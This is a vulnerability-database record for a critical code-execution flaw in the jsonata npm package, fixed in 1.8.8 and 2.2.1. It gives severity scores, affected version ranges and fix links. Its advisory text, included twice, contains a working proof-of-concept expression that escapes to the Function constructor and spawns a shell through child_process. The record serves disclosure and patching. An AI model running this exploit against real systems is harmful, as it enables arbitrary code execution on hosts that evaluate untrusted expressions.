{"id":"CVE-2026-77415","aliases":["EUVD-2026-64166","GHSA-66mm-25pp-rfff"],"status":"published","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge.*, replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with child_process, executing code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00892,"percentile":0.59687,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-08-21T21:01:09Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"npm","package":"jsonata","fixed_in":["2.2.1","1.8.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"jsonata","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.2.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"jsonata","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}]},{"source":"osv","ecosystem":"npm","package":"jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.1"}]}]},{"source":"osv","ecosystem":"npm","package":"jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}]}],"products":[{"vendor":"jsonata-js","product":"jsonata"}],"references":[{"url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-66mm-25pp-rfff","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/jsonata-js/jsonata/pull/799","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/pull/800","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/pull/802","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/47c0e58542202c705726663166dbee5fcae47d06","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/f174348c7fa30f271b63ddedf0767e814004bc4d","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-66mm-25pp-rfff"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77415.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77415","tags":["advisory"]},{"url":"https://github.com/jsonata-js/jsonata","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-77415","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge.*, replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with child_process, executing code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","status":"published","published":"2026-08-21T21:01:09.203Z","modified":"2026-08-25T16:55:27.467Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:15.712761Z"}],"euvd":[{"id":"EUVD-2026-64166","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge.*, replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with child_process, executing code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","status":"published","published":"2026-08-21T21:01:09Z","modified":"2026-08-25T16:55:27Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:01:32.513581Z"}],"ghsa":[{"id":"GHSA-66mm-25pp-rfff","title":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","description":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to:\n- overwriting `$clone` allowing mutation of objects via transforms (see\n[`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314))\n- it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`)\n- [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675)\nusing `proc.arguments.forEach` and not `Array.prototype.forEach`\n\nWhich could be chained to execute arbitrary code.\n\nThis was fixed with:\n\n- https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/pull/802\n\nWhich are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n    $obj := {};\n    $clone := function($o) { $o };\n    $m := ($merge.*)[1];\n\n    $fn := function($a) {\n        (\n            $a({\"value\":\"lg\"},\"__lookupGetter__\");\n            $a({\"value\":\"x\"},\"x\");\n        )\n    };\n\n    $nop := function() { $ };\n\n    $capture := function($val) {\n        $obj ~\u003e | $obj | {\"x\": 1, \"y\": 1, \"lg\":$lg} |\n    };\n\n    $ ~\u003e | $ | $m([$nop,{\"_jsonata_lambda\":false}])|;\n    $ ~\u003e | $ | {\"arguments\":{\"forEach\": $spread($fn)}}|;\n    $ ~\u003e | $ | {\"body\":$m([$capture,{\"_jsonata_lambda\":false}]).body}|;\n    $func := $m([$,{\"_jsonata_lambda\":true}]);\n    $func();\n\n    $gP := $obj.lg(\"__proto__\");\n\n    $afn:=$spread($fn);\n    $afn{\"x\":$gP().constructor(\"return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")()};\n)\n`);\n\nawait expression.evaluate({});\n```\n\n## References\n\n- https://github.com/jsonata-js/jsonata/pull/799\n- https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673\n- https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de\n\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc\n\n- https://github.com/jsonata-js/jsonata/pull/802\n- https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04","status":"published","published":"2026-08-21T21:04:19Z","modified":"2026-08-21T21:04:20Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:41:04.755504Z"}],"nvd":[{"id":"CVE-2026-77415","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge.*, replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with child_process, executing code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","status":"published","published":"2026-08-21T21:17:07.553Z","modified":"2026-10-12T16:10:00.22Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:40.665005Z"}],"osv":[{"id":"CVE-2026-77415","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge.*, replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with child_process, executing code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","status":"published","published":"2026-08-21T21:01:09.203Z","modified":"2026-10-28T02:30:55.758598615Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:17.102988Z"},{"id":"GHSA-66mm-25pp-rfff","title":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","description":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to:\n- overwriting `$clone` allowing mutation of objects via transforms (see\n[`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314))\n- it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`)\n- [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675)\nusing `proc.arguments.forEach` and not `Array.prototype.forEach`\n\nWhich could be chained to execute arbitrary code.\n\nThis was fixed with:\n\n- https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/pull/802\n\nWhich are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n    $obj := {};\n    $clone := function($o) { $o };\n    $m := ($merge.*)[1];\n\n    $fn := function($a) {\n        (\n            $a({\"value\":\"lg\"},\"__lookupGetter__\");\n            $a({\"value\":\"x\"},\"x\");\n        )\n    };\n\n    $nop := function() { $ };\n\n    $capture := function($val) {\n        $obj ~\u003e | $obj | {\"x\": 1, \"y\": 1, \"lg\":$lg} |\n    };\n\n    $ ~\u003e | $ | $m([$nop,{\"_jsonata_lambda\":false}])|;\n    $ ~\u003e | $ | {\"arguments\":{\"forEach\": $spread($fn)}}|;\n    $ ~\u003e | $ | {\"body\":$m([$capture,{\"_jsonata_lambda\":false}]).body}|;\n    $func := $m([$,{\"_jsonata_lambda\":true}]);\n    $func();\n\n    $gP := $obj.lg(\"__proto__\");\n\n    $afn:=$spread($fn);\n    $afn{\"x\":$gP().constructor(\"return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")()};\n)\n`);\n\nawait expression.evaluate({});\n```\n\n## References\n\n- https://github.com/jsonata-js/jsonata/pull/799\n- https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673\n- https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de\n\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc\n\n- https://github.com/jsonata-js/jsonata/pull/802\n- https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04","status":"published","published":"2026-08-21T21:04:19Z","modified":"2026-08-21T21:25:57.80562Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:39.266402Z"}]}}
